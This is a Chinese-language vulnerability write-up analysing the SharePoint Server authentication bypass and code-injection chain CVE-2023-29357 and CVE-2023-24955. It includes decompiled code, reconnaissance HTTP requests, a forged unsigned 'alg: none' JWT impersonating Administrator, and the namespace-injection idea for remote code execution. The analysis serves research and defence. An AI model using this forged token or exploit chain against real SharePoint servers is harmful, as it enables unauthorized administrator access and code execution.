Microsoft Product Vulnerabilities Analysis Part Ⅱ
在我们上回的探索中，我们揭开了微软WordPad中的CVE-2023-36563漏洞的神秘面纱。今天，我们将翻开另一章节，深入探讨微软SharePoint Server内部的另一漏洞组合拳——CVE-2023–24955&CVE-2023-29357。这不仅是一个简单的远程代码执行的漏洞，更是一个关于技术巧思与实践延拓的roadmap。
从Web.config开始审计
CVE-2023-29357—CVE-2023–24955的前置漏洞—是一个认证绕过漏洞，攻击者可以通过该漏洞绕过SharePoint Server内置的认证机制，从而访问服务器资源。既然是认证绕过漏洞，可以去微软官网看一下SharePoint Server所对应的鉴权机制与其技术原理。
按照微软官网的教程，打开Web.config可以清楚地看到SharePoint Server 2019默认使用了四种身份验证方式。
通过IDA打开Microsoft.SharePoint.IdentityModel.dll可以清晰地看到，该模块注册SPApplicationAuthenticationModule.AuthenticateRequest()Http 事件的方法AuthenticateRequest。由以上代码可以看到，每次向SharePoint Server发送 HTTP 请求时，都会调用此方法来处理鉴权逻辑。
继续跟下去会发现，SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()函数将被调用来检查当前的 URL 是否允许使用 OAuth作为身份验证方法。
在 if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) 中，我们可以提取出一系列子路由，如果URL中包含以下子路由，SharePoint Server将启用OAuth认证机制。
/_vti_bin/client.svc
/_vti_bin/listdata.svc
/_vti_bin/sites.asmx
/_api/
/_vti_bin/ExcelRest.aspx
/_vti_bin/ExcelRest.ashx
/_vti_bin/ExcelService.asmx
/_vti_bin/PowerPivot16/UsageReporting.svc
/_vti_bin/DelveApi.ashx
/_vti_bin/DelveEmbed.ashx
/_layouts/15/getpreview.ashx
/_vti_bin/wopi.ashx
/_layouts/15/userphoto.aspx
/_layouts/15/online/handlers/SpoSuiteLinks.ashx
/_layouts/15/wopiembedframe.aspx
/_vti_bin/homeapi.ashx
/_vti_bin/publiccdn.ashx
/_vti_bin/TaxonomyInternalService.json/GetSuggestions
/_layouts/15/download.aspx
/_layouts/15/doc.aspx
/_layouts/15/WopiFrame.aspx调用SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()继续处理认证请求。TryParseOAuthToken()方法将参试从HTTP请求中查询是否存在access_token或Authorization请求头，作为OAuth的令牌储存到text1变量中。
比如以下请求
GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0
Host: moresec-test与此同时，TryParseProofToken()方法负责从请求中提取OAuth身份令牌。该方法检查请求的查询字符串参数prooftoken或X-PROOF_TOKEN请求头，从中获取身份令牌，并将其保存在变量text2中。完成此过程后，text1与text2变量被SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法。
从分支中可以看到，可以推断身份令牌（作为identityTokenString参数传递）和证明令牌（作为proofTokenString参数传递）都应该是 JSON Web Token（JWT）。
打开JsonWebSecurityTokenHandler.cs，找到关键一段
private bool IsJsonWebSecurityToken(string token)
{
return System.Text.RegularExpressions.Regex.IsMatch(token, "^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$");
}
private JsonWebSecurityToken ReadActor(System.Collections.Generic.IDictionary<string, string> payload)
{
if (!this.JsonWebSecurityTokenRequirement.AllowActorToken)
{
return null;
}
JsonWebSecurityToken result = null;
string text;
payload.TryGetValue("actortoken", out text);
if (!string.IsNullOrEmpty(text))
{
result = (this.ReadTokenCore(text, true) as JsonWebSecurityToken);
payload.Remove("actortoken");
}
return result;
}
private System.IdentityModel.Tokens.SecurityToken ReadTokenCore(string token, bool isActorToken)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
if (base.Configuration == null)
{
throw new System.InvalidOperationException("No configuration");
}
if (base.Configuration.IssuerTokenResolver == null)
{
throw new System.InvalidOperationException("No configured IssuerTokenResolver");
}
if (!this.CanReadToken(token))//1
{
throw new System.IdentityModel.Tokens.SecurityTokenException("Unsupported security token.");
}
string[] array = token.Split(new char[]
{
'.'
});
string text = array[0];
string text2 = array[1];
string text3 = array[2];
System.Collections.Generic.Dictionary<string, string> dictionary = new System.Collections.Generic.Dictionary<string, string>(System.StringComparer.Ordinal);
dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
System.Collections.Generic.Dictionary<string, string> dictionary2 = new System.Collections.Generic.Dictionary<string, string>(System.StringComparer.Ordinal);
dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
string text4;
dictionary.TryGetValue("alg", out text4);//2
System.IdentityModel.Tokens.SecurityToken issuerToken = null;
if (!System.StringComparer.Ordinal.Equals(text4, "none"))//3
{
if (string.IsNullOrEmpty(text3))
{
throw new System.IdentityModel.Tokens.SecurityTokenException("Missing signature.");
}
System.IdentityModel.Tokens.SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
System.IdentityModel.Tokens.SecurityToken securityToken;
base.Configuration.IssuerTokenResolver.TryResolveToken(signingKeyIdentifier, out securityToken);
if (securityToken == null)
{
throw new System.IdentityModel.Tokens.SecurityTokenException("Invalid JWT token. Could not resolve issuer token.");
}
issuerToken = this.VerifySignature(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}.{1}", new object[]
{
text,
text2
}), text3, text4, securityToken);
}
JsonWebSecurityToken actorToken = null;
if (!isActorToken)
{
actorToken = this.ReadActor(dictionary2);
}
string text5;
dictionary2.TryGetValue("iss", out text5);
if (string.IsNullOrEmpty(text5))
{
throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an issuer.");
}
string text6;
dictionary2.TryGetValue("aud", out text6);
if (string.IsNullOrEmpty(text6))
{
throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an audience.");
}
string text7;
dictionary2.TryGetValue("nbf", out text7);
if (string.IsNullOrEmpty(text7))
{
throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an 'not before' claim.");
}
System.DateTime dateTimeFromSeconds = this.GetDateTimeFromSeconds(text7);
text7 = "";
dictionary2.TryGetValue("exp", out text7);
if (string.IsNullOrEmpty(text7))
{
throw new System.IdentityModel.Tokens.SecurityTokenValidationException("The token being parsed does not have an 'expires at' claim.");
}
System.DateTime dateTimeFromSeconds2 = this.GetDateTimeFromSeconds(text7);
JsonWebSecurityToken jsonWebSecurityToken = new JsonWebSecurityToken(text5, text6, dateTimeFromSeconds, dateTimeFromSeconds2, this.CreateClaims(dictionary2), issuerToken, actorToken);
jsonWebSecurityToken.CaptureSourceData(token);
return jsonWebSecurityToken;
}老规矩，先拖到GPT里跑一跑。
在//1处可以看到，JsonWebSecurityTokenHandler.CanReadToken()首先调用该方法以确保与正则表达式”^[A-Za-z0-9-]+.[A-Za-z0-9-]+.[A-Za-z0-9-_]*$”匹配，从而检查用户提供的内容token是否类似于有效的 JWT ，然后提取 JWT 的header 、payload和signature 部分。然后对header和payload部分执行 Base64 解码，最后将它们解析为 JSON 对象。
而在//2处可以看到，alg从标头部分提取字段（即签名算法）。例如，如果 Base64 解码的Header部分是alg：HS512，会呈现出如下状态。重点来了，在//3处我们看到，微软所提供的 JWT 令牌的签名时存在逻辑缺陷。如果该alg字段未设置为none，VerifySignature()则调用该方法来验证提供的 JWT 令牌的签名。然而，如果alg是none，则跳过签名验证检查JsonWebSecurityTokenHandler.ReadTokenCore()。
{
"alg": "HS512",
"typ": "JWT"
}在微软官网相关页面可以找到定义，Sharepoint Server 2019的aud格式为
<client_id>/<resource>@<realm>比如
{
"aud": "abcdef12-3456-7890-abcd-ef1234567890/moresec-test@12345678-9abc-def0-1234-567890abcdef"
}我们使用BurpSuite向服务器发送一个HTTP 请求的示例，用于获取构造字段有效值所需的信息aud。
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer HTTP 响应将在WWW-Authenticate响应标头中包含：
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
WWW-Authenticate: Bearer realm="moresec-test", client_id="00000003-0000-0ff1-ce00-000000000000", trusted_issuers="00000003-0000-0ff1-ce00-000000000000@moresec-test"之后，SPIdentityProofToken将根据用户提供的访问和证明令牌创建新的令牌，并且控制流向identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken)处，随后，identityProofTokenHandler由以下方法返回SPClaimsUtility.GetIdentityProofTokenHandler()：
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}该方法的实现SPClaimsUtility.GetIdentityProofTokenHandler()意味着identityProofTokenHandler返回的将是 的实例SPIdentityProofTokenHandle，identityProofTokenHandler.ValidateToken(spidentityProofToken2)将流至SPIdentityProofTokenHandler.ValidateTokenIssuer()。在该方法中，如果token参数是哈希证明令牌，则将跳过该字段的验证issuer。将字段设置ver为hashedprooftoken，JWT 令牌的有效负载部分会使该方法返回true，从而允许issuer破坏字段验证检查。
简单的内容欺骗
继续之前的讨论，SPApplicationAuthenticationModule.TryExtractAndValidateToken() 方法首先调用 SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext) 以验证当前 URL 的哈希值。该 endpointurl 的计算结果预期将被存储在 JWT 的有效payload。执行此方法后，代码流将传递至SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()。重要的是，如果 spincomingTokenContext.TokenType 不等于 spincomingTokenContext.Loopback，且当前 HTTP 请求未经 SSL 加密，则系统将触发异常。因此，在构造虚假 JWT 令牌时，必须将 isloopback 设置为 true，以确保 spincomingTokenContext.TokenType 与 spincomingTokenContext.Loopback 相等，防止异常发生并保证代码流程的正常执行。随后，令牌将被传递到SPApplicationAuthenticationModule.SignInProofToken()。SecurityTokenForContext此方法将从用户提供的 JWT 令牌创建一个实例，并将其发送到安全令牌服务 (STS) 进行身份验证。如果 STS 接受欺骗性的 JWT 令牌，那么就有可以冒充任何 SharePoint 用户。只要知道它 的nameid类似如下的JWT
eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvc3BsYWJAM2I4MGJlNmMtNjc0MS00MTM1LTkyOTItYWZlZDhkZjU5NmFmIiwibmJmIjoiMTY3MzQxMDMzNCIsImV4cCI6IjE2OTM0MTAzMzQiLCJuYW1laWQiOiJjIy53fEFkbWluaXN0cmF0b3IiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3NoYXJlcG9pbnQvMjAwOS8wOC9jbGFpbXMvdXNlcmxvZ29ubmFtZSI6IkFkbWluaXN0cmF0b3IiLCJhcHBpZGFjciI6IjAiLCJpc3VzZXIiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS9vZmZpY2UvMjAxMi8wMS9uYW1laWRpc3N1ZXIiOiJBY2Nlc3NUb2tlbiIsInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6IkZWSTdCV1V1dVdmc3pPN1dZUlpZaWkwek1lOE9hU2FYTy93eURSM1c2ZTQ9IiwibmFtZSI6ImYjeHd8QWRtaW5pc3RyYXRvciIsImlkZW50aXR5cHJvdmlkZXIiOiJ3a
因此，我们探讨了一种可能的方法来绕过身份验证，这要求至少知晓 SharePoint 站点上的一个用户名。如果无法满足此条件，SharePoint 站点将拒绝身份验证请求，从而限制我们访问任何功能。显而易见，Windows内置了Administrator账号，不过有具体的限制条件:
- SharePoint 服务账户不应配置为“内置管理员”。
- 站点管理员账户也不应设为“内置管理员”。
- 唯一需要成为 SharePoint Server 的“内置管理员”的是Farm Administrator。
参考CVE-2021-26420，在使用 SharePoint 的初始场配置向导期间，将启用许多其他功能，用户配置文件服务是负责入口点的服务/my。该入口点已被Read Permission授予Authenticated users，这意味着任何人都可以访问该站点，获取用户列表和管理员用户名。
简单概括就是:
- 在第一次请求时，我们可以首先模拟 Windows 上的任何用户，甚至是本地用户，例如NT AUTHORITYLOCAL SERVICE, NT AUTHORITYSYSTEM。
- 经过身份验证后，使用 ListData 服务获取站点管理员：/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin
经过以上操作即可Bypass认证机制，模拟管理员账户进入SharePoint系统。
从Pre-Auth到RCE
经过观察易得，DynamicProxyGenerator.GenerateProxyAssembly()函数中存在代码注入漏洞。
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); //4
CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
codeCompileUnit.Namespaces.Add(codeNamespace); //5
codeCompileUnit.ReferencedAssemblies.Add("System.dll");
CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
StringCollection stringCollection = null;
using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
{
CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
textWriter.Flush();
sourceCode = textWriter.ToString(); //6
}
CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); //7
}主要逻辑是生成一个带有proxyNameSpace的Assembly，在//4处，使用实例proxyNamespaceName。然后将该CodeNamespace实例添加到codeCompileUnit.Namespaces处。之后，在//6处，将使用上述内容生成源代码。由于方法没有对proxyNamespaceName参数进行验证。因此，我们可以提供恶意Payload作为proxyNamespaceName参数，可以作为shellcode将任意内容注入到要编译的代码。
namespace test{
pseudo shellcode
}
namespace Foo{}最终效果如下面视频所示:
Reference
●https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/](https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/
●https://steve.thelineberrys.com/mixing-friendly-forms-based-auth-with-ntlm-windows-auth-in-sharepoint/
●https://learn.microsoft.com/en-us/previous-versions/office/developer/sharepoint-2010/ee557605
●https://learn.microsoft.com/zh-hk/sharepoint/security-for-sharepoint-server/authentication-overview
●https://medium.com/willhanchen/jwt-json-web-token-%E7%B0%A1%E4%BB%8B-ca93d35c85c3
●https://oauth.net/2/
●https://learn.microsoft.com/zh-tw/dotnet/api/microsoft.identitymodel.tokens.validators.validateaudience?view=msal-web-dotnet-latest#microsoft-identitymodel-tokens-validators-validateaudience(system-collections-generic-ienumerable((system-string))-microsoft-identitymodel-tokens-securitytoken-microsoft-identitymodel-tokens-tokenvalidationparameters
●https://learn.microsoft.com/en-us/sharepoint/dev/sp-add-ins/authorization-code-oauth-flow-for-sharepoint-add-ins
●https://www.thezdi.com/blog/2021/10/5/cve-2021-26420-remote-code-execution-in-sharepoint-via-workflow-compilation
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